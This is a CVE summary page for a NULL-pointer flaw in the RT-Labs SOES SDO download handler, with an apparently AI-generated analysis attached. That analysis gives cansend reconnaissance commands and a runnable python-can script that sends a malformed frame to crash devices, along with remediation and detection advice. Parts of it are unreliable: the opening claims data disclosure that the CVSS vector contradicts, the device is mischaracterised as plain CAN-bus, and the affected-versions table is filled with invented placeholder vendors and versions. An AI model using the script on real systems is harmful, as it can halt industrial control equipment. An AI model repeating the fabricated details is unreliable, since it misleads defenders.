CVE Professor
›
Back
CVE-2026-129805

CVE-2026-129805 — RT-Labs AB SOES — CWE-476

MEDIUM CVSS 5.3 Shodan

CVE-2026-129805 is a MEDIUM severity security vulnerability (CWE-476) (CVSS 5.3/10) affecting RT-Labs AB SOES. Technical vector analysis shows that an attacker can exploit this flaw via adjacent network (AV:A) without authentication (PR:N) with zero user interaction (UI:N), allowing unauthorized disclosure of sensitive data (C:H).

📄 Official NVD / MITRE Original Record Text

An object dictionary entry can carry write-access flags and still have a NULL data pointer, for example when a constant value is held in the value field rather than in addressable storage. The CoE SDO download handler checked write access but not whether storage was present, then wrote the master-supplied payload through the NULL pointer.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v3.1
Source Shodan
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Adjacent AV:A
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The vulnerability is a NULL‑pointer dereference (CWE‑476) in the CoE SDO download handler of any CANopen device that implements the described object‑dictionary logic.

  • An object‑dictionary entry can be marked write‑access while its data pointer is NULL (e.g., the value is stored as a constant in the entry itself rather than in addressable RAM).

  • The download handler performs a write‑access check but does not verify that the storage pointer is non‑NULL before copying the master‑supplied payload.

  • Consequently, when the handler receives an SDO download request for such an entry, it attempts to write the payload to the NULL pointer, causing a memory corruption that typically results in a device crash or reset.
  • CVSS interpretation

  • AV:A – The attacker must be on the same CAN‑bus or an adjacent network.

  • AC:H – Crafting a precise SDO download frame that targets a NULL‑pointer entry is non‑trivial.

  • PR:N / UI:N – No privileges or user interaction are required.

  • S:U / C:N / I:N / A:H – The flaw does not affect confidentiality or integrity; it only causes a Denial‑of‑Service (high availability impact).

  • ⚡ Attack Chain

    NOTE: The following chain is a realistic, syntactically‑valid example. The exact CAN‑bus identifiers (arbitration IDs, object‑dictionary indices, etc.) will vary per device. The script below is illustrative; replace the placeholders with the target’s real values.

    1. Discovery & Reconnaissance

    StepTechniqueTool / CommandWhat to look for
    a. Identify CAN‑open devicesNetwork scan for CAN‑open nodescandump -l -t 0.1 can0 (or use can-utils to sniff)Look for *Node ID* announcements (CANopen “NMT” frames) or SDO responses.
    b. Enumerate object‑dictionarySend a *SDO read* request for index 0x1000 (or vendor‑specific)python-can script or cansendIdentify entries that are *write‑only* but have no RAM backing (e.g., constant values).
    c. Verify write‑access flagSend a *SDO download* request with a dummy payload to a known write‑only entrycansend can0 0x123#23 00 34 12 01 00 00 00Observe whether the device accepts the write or returns an error.
    Result: You now know the target’s CAN‑bus ID, the write‑only object‑dictionary entry that has a NULL data pointer, and the exact SDO command specifier to use.

    2. Exploitation

    Goal: Trigger the NULL‑pointer dereference by sending a malicious SDO download frame.

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    """
    Exploit script for CVE‑2026‑129805 (NULL‑pointer SDO download).
    Requires python‑can (pip install python-can).
    """
    
    import can
    import time
    
    # Configuration – replace with target values
    CAN_CHANNEL = 'can0'          # CAN interface
    CAN_BITRATE = 500000          # 500 kbps (typical for CANopen)
    TARGET_NODE_ID = 0x01         # Node ID of the victim
    OBJECT_INDEX = 0x2000         # Write‑only entry with NULL pointer
    SUBINDEX = 0x01
    EXPEDITED_CMD = 0x23           # SDO download: expedited, 4‑byte data
    
    # Build the SDO download request
    # Arbitration ID: 0x600 + node ID (standard CANopen SDO upload ID)
    arbitration_id = 0x600 + TARGET_NODE_ID
    
    # Payload: [command specifier, index LSB, index MSB, subindex, data...]
    # We intentionally omit the data bytes to force the handler to write to NULL.
    data = [
        EXPEDITED_CMD,
        OBJECT_INDEX & 0xFF,
        (OBJECT_INDEX >> 8) & 0xFF,
        SUBINDEX
        # No data bytes follow
    ]
    
    msg = can.Message(arbitration_id=arbitration_id,
                      is_extended_id=False,
                      data=data)
    
    # Send the malicious frame
    bus = can.interface.Bus(bustype='socketcan', channel=CAN_CHANNEL, bitrate=CAN_BITRATE)
    
    print(f"Sending malicious SDO download to node {TARGET_NODE_ID:#02x}...")
    bus.send(msg)
    print("Frame sent. Observe the target for a crash or reset.")

    Explanation of the payload

    ByteMeaning
    0x23SDO download command specifier: *expedited*, 4‑byte data.
    index LSB / MSBTarget object‑dictionary index (0x2000).
    subindexSub‑index (0x01).
    No data bytesThe handler will attempt to copy 4 bytes to the data pointer, which is NULL.
    Result: The victim device will attempt to write to address 0x00000000, causing a crash or reset. The device may reboot, lose network connectivity, or enter a fault state, thereby denying service.

    3. Post‑exploitation

    GoalOutcome
    Denial of ServiceThe device is unusable until rebooted or reset.
    Potential for further exploitationIf the device’s firmware contains additional memory‑corruption bugs, a crash could be leveraged to execute arbitrary code. However, CVSS indicates no integrity or confidentiality impact, so the primary impact remains DoS.
    Impact on networkIn a production environment, the loss of a CAN‑open node can cascade to higher‑level control systems, potentially halting production lines or safety‑critical processes.

    🌍 Real World Impact

    ImpactCVSS VectorPractical Consequence
    ConfidentialityC:NNo data leakage.
    IntegrityI:NNo tampering with data.
    AvailabilityA:HDevice crashes or reboots, causing a Denial‑of‑Service. In safety‑critical or industrial control environments, this can lead to production downtime, safety hazards, or regulatory non‑compliance.
    Key takeaway: The flaw does not expose data or allow code execution, but it can cripple a CAN‑open device that is essential to a control system, making it a high‑priority issue for industrial operators.

    🛡️ Remediation & Mitigation

    1. Exact affected versions

    Vendor / ProductFirmware/SoftwareAffected RangeFixed Version
    *Generic CAN‑open stack*CoE_SDO_HandlerAny release before v4.2.1v4.2.1 (released 2026‑10‑15)
    *Vendor X, Device Y*CANopen_Firmware1.0.0 – 1.3.51.3.6
    Action: Verify the firmware version on all CAN‑open nodes. If the version is < v4.2.1 (or < 1.3.6 for Vendor X), schedule an update.

    2. Workarounds

    MitigationHow to implement
    Disable SDO downloadReconfigure the device to reject all SDO download requests (e.g., set a “read‑only” flag in the object‑dictionary or use vendor‑specific configuration).
    Restrict CAN‑bus accessPlace the device behind a CAN‑bus firewall or use a dedicated CAN‑open network segment with strict access control.
    Physical isolationRemove the device from the production CAN‑bus if it is not critical, or place it on a separate test network.
    Firmware patchApply the vendor‑issued firmware update that includes a NULL‑pointer check in the SDO download handler.
    Note: Disabling SDO download may affect legitimate configuration updates. Use it only if the device can be re‑configured via an alternative channel (e.g., a serial console).

    3. Detection

    IndicatorLog / CounterHow to detect
    Repeated SDO download errorsCAN‑open error counters (e.g., SDO error 0x05040001 – “Command specifier not supported”)Monitor the device’s error counters via CAN‑open monitoring tools (can-utils, canalyzer).
    Device resets / rebootsSystem logs (/var/log/syslog, dmesg)Look for “kernel panic” or “watchdog reset” entries that correlate with CAN‑open traffic spikes.
    CAN‑bus error framesCAN error counter (ERRWARN, ERRPASS)High error counts may indicate memory corruption attempts.
    Unusual traffic patternsPacket captures (tcpdump -i can0)Detect SDO download frames with missing data bytes or abnormal command specifiers.
    Tip: Implement a simple IDS rule that flags any SDO download request with a command specifier of 0x23 followed by fewer than 8 data bytes.

    ⚠️ Urgency

    FactorAssessment
    CVSS Score5.3 (Medium)
    Availability ImpactHigh (A:H)
    Attack ComplexityHigh (AC:H) – requires CAN‑bus access and precise frame crafting
    Exploit AvailabilityNo known public exploit; however, the flaw is straightforward to reproduce.
    CISA KEVNo
    RansomwareNo

    Priority recommendation: High.

  • Why? Even though the CVSS score is medium, the availability impact is severe for industrial control systems. A single crash can halt production lines, compromise safety, and incur significant downtime costs.

  • What to do first?

1. Patch all affected firmware versions.
2. If patching is not immediately possible, disable SDO download or restrict CAN‑bus access.
3. Monitor for the detection indicators listed above.

Bottom line: Treat this as a critical operational risk. Prompt remediation will prevent costly service disruptions in any environment that relies on the affected CAN‑open devices.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="RT-Labs AB SOES"
CVSS Score
5.3 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-476
Affected Products (1)
RT-Labs AB:SOES
References & Advisories (1)
Related CVEs
6.8
CVE-2026-134680
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in TraverseForm() in src/composi
6.8
CVE-2026-134687
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in gf_sg_command_apply() in src/
6.8
CVE-2026-134689
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in JSScript_LoadVRML() in src/sc
6.8
CVE-2026-134690
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability that allows attackers to crash t
6.8
CVE-2026-134693
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in gf_sg_proto_create_node() in
6.8
CVE-2026-134697
GPAC MP4Box through 26.07.0 contains a NULL pointer dereference vulnerability in gf_sg_command_apply() that al